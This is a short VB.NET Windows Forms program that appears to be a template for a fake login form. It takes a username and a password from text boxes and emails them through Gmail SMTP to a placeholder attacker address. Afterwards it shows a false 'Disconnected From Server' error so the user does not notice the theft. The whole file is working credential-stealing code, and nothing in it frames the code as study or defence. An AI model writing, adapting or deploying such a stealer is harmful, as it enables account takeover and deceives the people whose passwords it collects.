Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        ProgressBar1.Value = 0
        If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
        Else
            ProgressBar1.Value = 16
            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
                ProgressBar1.Value = 32
                Dim smtpServer As New SmtpClient()
                Dim mail As New MailMessage()
                ProgressBar1.Value = 48
                smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
                'using gmail
                smtpServer.Port = 587
                smtpServer.Host = "smtp.gmail.com"

                smtpServer.EnableSsl = True
                ProgressBar1.Value = 64
                mail = New MailMessage()
                mail.From = New MailAddress("Your Gmail")
                ProgressBar1.Value = 80
                mail.To.Add("Your Gmail")
                mail.Subject = "Username: " & TextBox1.Text
                mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
                smtpServer.Send(mail)
                ProgressBar1.Value = 100
                MsgBox("Disconnected From Server, Please try again later!")
            End If
        End If
    End Sub
End Class